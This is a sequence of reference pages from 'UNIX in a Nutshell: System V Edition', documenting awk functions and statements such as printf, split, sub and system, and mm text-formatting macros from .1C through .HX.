UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: next Chapter 11
The Awk Scripting Language 		Next: Reference: printf

print

print [args] [destination]

Print args on output. Args is usually one or more fields, but may also be one or more of the predefined variables. Literal strings must be quoted. Fields are printed in the order they are listed. If separated by commas in the argument list, they are separated in the output by the character specified by OFS. If separated by spaces, they are concatenated in the output. destination is a UNIX redirection or pipe expression (e.g., > file) that redirects the default output.

Previous: Reference: next | UNIX in a Nutshell: System V Edition | Next: Reference: printf
Reference: next | Book Index | Reference: printf
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: printf

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: print Chapter 11
The Awk Scripting Language 		Next: Reference: rand

printf

printf [format [, expression(s)]]

Formatted print statement. Fields or variables can be formatted according to instructions in the format argument. The number of arguments must correspond to the number specified in the format sections.

format follows the conventions of the C-language printf statement. Here are a few of the most common formats:

%s

A string.

%d

A decimal number.

%n.m f

A floating point number; n = total number of digits. m = number of digits after decimal point.

%[-]nc

nc specifies minimum field length for format type c, while - justifies value in field; otherwise value is right justified.

format can also contain embedded escape sequences: \n (newline) or \t (tab) being the most common. Spaces and literal text can be placed in the format argument by quoting the entire argument. If there are multiple expressions to be printed, there should be multiple formats specified.

Example

Using the script:

{printf ("The sum on line %s is %d \n", NR, $1+$2)}

The following input line:

5   5

produces this output, followed by a newline:

The sum on line 1 is 10.

Previous: Reference: print | UNIX in a Nutshell: System V Edition | Next: Reference: rand
Reference: print | Book Index | Reference: rand
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rand

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: printf Chapter 11
The Awk Scripting Language 		Next: Reference: return

rand

rand()

Generate a random number between 0 and 1. This function returns the same number each time the script is executed, unless the random number generator is seeded using the srand() function. {N}

Previous: Reference: printf | UNIX in a Nutshell: System V Edition | Next: Reference: return
Reference: printf | Book Index | Reference: return
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: return

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rand Chapter 11
The Awk Scripting Language 		Next: Reference: sin

return

return [expr]

Used at end of user-defined functions to exit function, returning value of expression. {N}

Previous: Reference: rand | UNIX in a Nutshell: System V Edition | Next: Reference: sin
Reference: rand | Book Index | Reference: sin
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sin

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: return Chapter 11
The Awk Scripting Language 		Next: Reference: split

sin

sin(x)

Return the sine of x, an angle in radians.

Previous: Reference: return | UNIX in a Nutshell: System V Edition | Next: Reference: split
Reference: return | Book Index | Reference: split
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: split

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sin Chapter 11
The Awk Scripting Language 		Next: Reference: sprintf

split

split(string,array[,sep])

Split string into elements of array array[1],...,array[n]. The string is split at each occurrence of separator sep. If sep is not specified, FS is used. The number of array elements created is returned.

Previous: Reference: sin | UNIX in a Nutshell: System V Edition | Next: Reference: sprintf
Reference: sin | Book Index | Reference: sprintf
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sprintf

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: split Chapter 11
The Awk Scripting Language 		Next: Reference: sqrt

sprintf

sprintf [format [, expression(s)]]

Return the value of one or more expressions, using the specified format (see printf). Data is formatted but not printed. {N}

Previous: Reference: split | UNIX in a Nutshell: System V Edition | Next: Reference: sqrt
Reference: split | Book Index | Reference: sqrt
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sqrt

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sprintf Chapter 11
The Awk Scripting Language 		Next: Reference: srand

sqrt

sqrt(arg)

Return square root of arg.

Previous: Reference: sprintf | UNIX in a Nutshell: System V Edition | Next: Reference: srand
Reference: sprintf | Book Index | Reference: srand
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: srand

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sqrt Chapter 11
The Awk Scripting Language 		Next: Reference: sub

srand

srand(expr)

Use expr to set a new seed for random number generator. Default is time of day. {N}

Previous: Reference: sqrt | UNIX in a Nutshell: System V Edition | Next: Reference: sub
Reference: sqrt | Book Index | Reference: sub
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sub

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: srand Chapter 11
The Awk Scripting Language 		Next: Reference: substr

sub

sub(r,s,t)

Substitute s for first match of the regular expression r in the string t. Return 1 if successful; 0 otherwise. If t is not supplied, defaults to $0. {N}

Previous: Reference: srand | UNIX in a Nutshell: System V Edition | Next: Reference: substr
Reference: srand | Book Index | Reference: substr
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: substr

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sub Chapter 11
The Awk Scripting Language 		Next: Reference: system

substr

substr(string,m,[n])

Return substring of string beginning at character position m and consisting of the next n characters. If n is omitted, include all characters to the end of string.

Previous: Reference: sub | UNIX in a Nutshell: System V Edition | Next: Reference: system
Reference: sub | Book Index | Reference: system
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: system

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: substr Chapter 11
The Awk Scripting Language 		Next: Reference: tolower

system

system(command)

Function that executes the specified command and returns its status. The status of the command that is executed typically indicates its success (1), completion (0) or unexpected error (-1). The output of the command is not available for processing within the awk script. Use "command | getline" to read the output of the command into the script. {N}

Previous: Reference: substr | UNIX in a Nutshell: System V Edition | Next: Reference: tolower
Reference: substr | Book Index | Reference: tolower
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: tolower

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: system Chapter 11
The Awk Scripting Language 		Next: Reference: toupper

tolower

tolower(str)

Translate all uppercase characters in str to lowercase and return the new string. {G}

Previous: Reference: system | UNIX in a Nutshell: System V Edition | Next: Reference: toupper
Reference: system | Book Index | Reference: toupper
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: toupper

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: tolower Chapter 11
The Awk Scripting Language 		Next: Reference: while

toupper

toupper toupper(str)

Translate all lowercase characters in str to uppercase and returns the new string. {G}

Previous: Reference: tolower | UNIX in a Nutshell: System V Edition | Next: Reference: while
Reference: tolower | Book Index | Reference: while
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: while

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: toupper Chapter 11
The Awk Scripting Language 		Next: 11. The Awk Scripting Language

while

while  (condition)
command

Do command while condition is true (see if for a description of allowable conditions). A series of commands must be put within braces.

Previous: Reference: toupper | UNIX in a Nutshell: System V Edition | Next: 11. The Awk Scripting Language
Reference: toupper | Book Index | 11. The Awk Scripting Language
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .1C

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 13. mm Macros Chapter 13
mm Macros 		Next: Reference: .2C

.1C

.1C

Return to single-column format.

Previous: 13. mm Macros | UNIX in a Nutshell: System V Edition | Next: Reference: .2C
13. mm Macros | Book Index | Reference: .2C
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .2C

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .1C Chapter 13
mm Macros 		Next: Reference: .AE

.2C

.2C

Start two-column format.

Previous: Reference: .1C | UNIX in a Nutshell: System V Edition | Next: Reference: .AE
Reference: .1C | Book Index | Reference: .AE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .AE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .2C Chapter 13
mm Macros 		Next: Reference: .AF

.AE

.AE

End abstract (see .AS).

Previous: Reference: .2C | UNIX in a Nutshell: System V Edition | Next: Reference: .AF
Reference: .2C | Book Index | Reference: .AF
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .AF

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .AE Chapter 13
mm Macros 		Next: Reference: .AL

.AF

.AF [company  name]

Alternate format for first page. Change first-page "Subject/Date/From" format. If argument is given, other headings are not affected. No argument suppresses company name and headings.

Previous: Reference: .AE | UNIX in a Nutshell: System V Edition | Next: Reference: .AL
Reference: .AE | Book Index | Reference: .AL
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .AL

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .AF Chapter 13
mm Macros 		Next: Reference: .AS

.AL

.AL [type] [indent] [1]

Initialize numbered or alphabetized list. Specify list, type, and indent of text. If 3rd argument is 1, spacing between items is suppressed. Mark each item in list with .LI; end list with .LE. Default is numbered listing. Default text indent is specified in register Li.

Type

1

Arabic numbers.

A

Uppercase letters.

a

Lowercase letters.

I

Roman numerals, uppercase.

i

Roman numerals, lowercase.

Previous: Reference: .AF | UNIX in a Nutshell: System V Edition | Next: Reference: .AS
Reference: .AF | Book Index | Reference: .AS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .AS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .AL Chapter 13
mm Macros 		Next: Reference: .AT

.AS

.AS [type][n]

Start abstract of specified type, indenting n spaces. Used only with .TM and .RP only. End with .AE.

Type

1

Abstract on cover sheet and first page.

2

Abstract only on cover sheet.

3

Abstract only on Memorandum for File cover sheet.

Previous: Reference: .AL | UNIX in a Nutshell: System V Edition | Next: Reference: .AT
Reference: .AL | Book Index | Reference: .AT
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .AT

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .AS Chapter 13
mm Macros 		Next: Reference: .AU

.AT

.AT title

Author's title appears after author's name in formal memoranda.

Previous: Reference: .AS | UNIX in a Nutshell: System V Edition | Next: Reference: .AU
Reference: .AS | Book Index | Reference: .AU
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .AU

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .AT Chapter 13
mm Macros 		Next: Reference: .AV

.AU

.AU name

Author's name and other information (up to nine arguments) supplied at beginning of formal memoranda.

Previous: Reference: .AT | UNIX in a Nutshell: System V Edition | Next: Reference: .AV
Reference: .AT | Book Index | Reference: .AV
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .AV

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .AU Chapter 13
mm Macros 		Next: Reference: .B

.AV

.AV name

Approval signature line for name. Closing macro in formal memoranda.

Previous: Reference: .AU | UNIX in a Nutshell: System V Edition | Next: Reference: .B
Reference: .AU | Book Index | Reference: .B
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .B

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .AV Chapter 13
mm Macros 		Next: Reference: .BE

.B

.B [barg] [parg] ...

Set barg in bold (underline in nroff) and parg in previous font; up to 6 arguments.

Previous: Reference: .AV | UNIX in a Nutshell: System V Edition | Next: Reference: .BE
Reference: .AV | Book Index | Reference: .BE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .BE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .B Chapter 13
mm Macros 		Next: Reference: .BI

.BE

.BE

End bottom block and print after footnotes (if any), but before footer. See .BS.

Previous: Reference: .B | UNIX in a Nutshell: System V Edition | Next: Reference: .BI
Reference: .B | Book Index | Reference: .BI
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .BI

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .BE Chapter 13
mm Macros 		Next: Reference: .BL

.BI

.BI [barg] [iarg]

Set barg in bold (underline in nroff) and iarg in italics; up to 6 arguments.

Previous: Reference: .BE | UNIX in a Nutshell: System V Edition | Next: Reference: .BL
Reference: .BE | Book Index | Reference: .BL
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .BL

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .BI Chapter 13
mm Macros 		Next: Reference: .BR

.BL

.BL [indent] [1]

Initialize bullet list. Specify indent of text. Default indent is 3 and is specified in register Pi. If second argument is 1, suppress blank line between items.

Previous: Reference: .BI | UNIX in a Nutshell: System V Edition | Next: Reference: .BR
Reference: .BI | Book Index | Reference: .BR
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .BR

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .BL Chapter 13
mm Macros 		Next: Reference: .BS

.BR

.BR [barg] [rarg]

Set barg in bold (underline in nroff) and rarg in roman; up to 6 arguments.

Previous: Reference: .BL | UNIX in a Nutshell: System V Edition | Next: Reference: .BS
Reference: .BL | Book Index | Reference: .BS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .BS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .BR Chapter 13
mm Macros 		Next: Reference: .CS

.BS

.BS

Begin block of text to be printed at bottom of page, after footnotes (if any), but before footer. End with .BE.

Previous: Reference: .BR | UNIX in a Nutshell: System V Edition | Next: Reference: .CS
Reference: .BR | Book Index | Reference: .CS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .CS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .BS Chapter 13
mm Macros 		Next: Reference: .DE

.CS

.CS [pgs] [other] [tot] [figs] [tbls] [ref]

Cover sheet information supplied for formal memoranda.

Previous: Reference: .BS | UNIX in a Nutshell: System V Edition | Next: Reference: .DE
Reference: .BS | Book Index | Reference: .DE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .DE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .CS Chapter 13
mm Macros 		Next: Reference: .DF

.DE

.DE

End static display started with .DS or floating display started with .DF.

Previous: Reference: .CS | UNIX in a Nutshell: System V Edition | Next: Reference: .DF
Reference: .CS | Book Index | Reference: .DF
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .DF

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .DE Chapter 13
mm Macros 		Next: Reference: .DL

.DF

.DF [type] [mode] [rindent]

Start floating display. That is, if the amount of space required to output text exceeds the space remaining on the current page, the display is saved for the next page, while text following the display is used to fill the current page. (See also registers De and Df.) Default type is no indent; default mode is no-fill. rindent is the amount by which to shorten the line length in order to bring text in from the right margin. End display with .DE.

Type

L or 0

No indent (default).

I or 1

Indent standard amount.

C or 2

Center each line individually.

CB or 3

Center as a block.

Mode

N or 0

No-fill mode (default).

F or 0

Fill mode.

Previous: Reference: .DE | UNIX in a Nutshell: System V Edition | Next: Reference: .DL
Reference: .DE | Book Index | Reference: .DL
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .DL

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .DF Chapter 13
mm Macros 		Next: Reference: .DS

.DL

.DL [indent] [1]

Initialize dashed list. Specify indent of text. Default indent is 3 and is specified in register Pi. If second argument is 1, suppress blank line between items.

Previous: Reference: .DF | UNIX in a Nutshell: System V Edition | Next: Reference: .DS
Reference: .DF | Book Index | Reference: .DS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .DS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .DL Chapter 13
mm Macros 		Next: Reference: .EC

.DS

.DS [type] [mode] [rindent]

Start static display. That is, if the display doesn't fit in the remaining space on the page, a page break occurs, placing the display at the top of the next page. See .DF about type, mode, and rindent. End display with .DE.

Previous: Reference: .DL | UNIX in a Nutshell: System V Edition | Next: Reference: .EC
Reference: .DL | Book Index | Reference: .EC
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .EC

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .DS Chapter 13
mm Macros 		Next: Reference: .EF

.EC

.EC [caption] [n] [flag]

Equation caption. Arguments optionally override default numbering, where flag determines use of number n. See .EQ.

Flag

0

n is a prefix to number (the default).

1

n is a suffix.

2

n replaces number.

Previous: Reference: .DS | UNIX in a Nutshell: System V Edition | Next: Reference: .EF
Reference: .DS | Book Index | Reference: .EF
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .EF

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .EC Chapter 13
mm Macros 		Next: Reference: .EH

.EF

.EF ['left'center'right']

Print three-part string as even page footer; parts are left-justified, centered, and right-justified at bottom of every even page.

Previous: Reference: .EC | UNIX in a Nutshell: System V Edition | Next: Reference: .EH
Reference: .EC | Book Index | Reference: .EH
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .EH

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .EF Chapter 13
mm Macros 		Next: Reference: .EN

.EH

.EH ['left'center'right']

Print three-part string as even page header; parts are left-justified, centered, and right-justified at top of every even page.

Previous: Reference: .EF | UNIX in a Nutshell: System V Edition | Next: Reference: .EN
Reference: .EF | Book Index | Reference: .EN
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .EN

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .EH Chapter 13
mm Macros 		Next: Reference: .EQ

.EN

.EN

End equation display. See .EQ.

Previous: Reference: .EH | UNIX in a Nutshell: System V Edition | Next: Reference: .EQ
Reference: .EH | Book Index | Reference: .EQ
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .EQ

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .EN Chapter 13
mm Macros 		Next: Reference: .EX

.EQ

.EQ [text]

Start equation display to be processed by eqn, using text as label (see .EC). End with .EN. See Section 16 for more information on eqn.

Previous: Reference: .EN | UNIX in a Nutshell: System V Edition | Next: Reference: .EX
Reference: .EN | Book Index | Reference: .EX
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .EX

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .EQ Chapter 13
mm Macros 		Next: Reference: .FC

.EX

.EX [caption] [n] [flag]

Exhibit caption. Arguments optionally override default numbering, where flag determines use of number n.

Flag

0

n is a prefix to number (the default).

1

n is a suffix.

2

n replaces number.

Previous: Reference: .EQ | UNIX in a Nutshell: System V Edition | Next: Reference: .FC
Reference: .EQ | Book Index | Reference: .FC
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .FC

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .EX Chapter 13
mm Macros 		Next: Reference: .FD

.FC

.FC [text]

Use text for formal closing.

Previous: Reference: .EX | UNIX in a Nutshell: System V Edition | Next: Reference: .FD
Reference: .EX | Book Index | Reference: .FD
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .FD

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .FC Chapter 13
mm Macros 		Next: Reference: FE

.FD

.FD [n]

Set default footnote format to n, an integer from 0 to 11.

Previous: Reference: .FC | UNIX in a Nutshell: System V Edition | Next: Reference: FE
Reference: .FC | Book Index | Reference: FE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: FE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .FD Chapter 13
mm Macros 		Next: Reference: .FG

FE

FE

End footnote. See .FS.

Previous: Reference: .FD | UNIX in a Nutshell: System V Edition | Next: Reference: .FG
Reference: .FD | Book Index | Reference: .FG
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .FG

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: FE Chapter 13
mm Macros 		Next: Reference: .FS

.FG

.FG [title]

Figure title follows.

Previous: Reference: FE | UNIX in a Nutshell: System V Edition | Next: Reference: .FS
Reference: FE | Book Index | Reference: .FS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .FS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .FG Chapter 13
mm Macros 		Next: Reference: .H

.FS

.FS [c]

Start footnote using c as indicator. Default is numbered footnote. End with .FE.

Previous: Reference: .FG | UNIX in a Nutshell: System V Edition | Next: Reference: .H
Reference: .FG | Book Index | Reference: .H
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .H

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .FS Chapter 13
mm Macros 		Next: Reference: .HC

.H

.H n [heading]

Print a numbered heading at level n, where n is from 1 to 7. See any of the following for more information:

Number registers

Ej

Page eject.

Hb

Break after heading.

Hc

Centered heading.

Hi

Type of first paragraph after heading.

Hs

Space after heading.

Hu

Unnumbered headings.

Strings

HF

Font control.

HP

Point size.

Macros

.HM

Heading mark.

.HU

Unnumbered headings.

.HX, .HY, .HZ

User-supplied macros invoked during output of header.

Previous: Reference: .FS | UNIX in a Nutshell: System V Edition | Next: Reference: .HC
Reference: .FS | Book Index | Reference: .HC
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .HC

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .H Chapter 13
mm Macros 		Next: Reference: .HM

.HC

.HC [c]

Use character c as hyphenation indicator.

Previous: Reference: .H | UNIX in a Nutshell: System V Edition | Next: Reference: .HM
Reference: .H | Book Index | Reference: .HM
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .HM

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .HC Chapter 13
mm Macros 		Next: Reference: .HU

.HM

.HM [mark]

Heading mark style is arabic (1 or 001), roman (i or I), or alpha (a or A).

Previous: Reference: .HC | UNIX in a Nutshell: System V Edition | Next: Reference: .HU
Reference: .HC | Book Index | Reference: .HU
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .HU

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .HM Chapter 13
mm Macros 		Next: Reference: .HX

.HU

.HU heading

Unnumbered heading follows. Same as .H except that no heading mark is printed (see number register Hu).

Previous: Reference: .HM | UNIX in a Nutshell: System V Edition | Next: Reference: .HX
Reference: .HM | Book Index | Reference: .HX
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .HX

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .HU Chapter 13
mm Macros 		Next: Reference: .HY

.HX

.HX

User-supplied exit macro executed before printing heading.

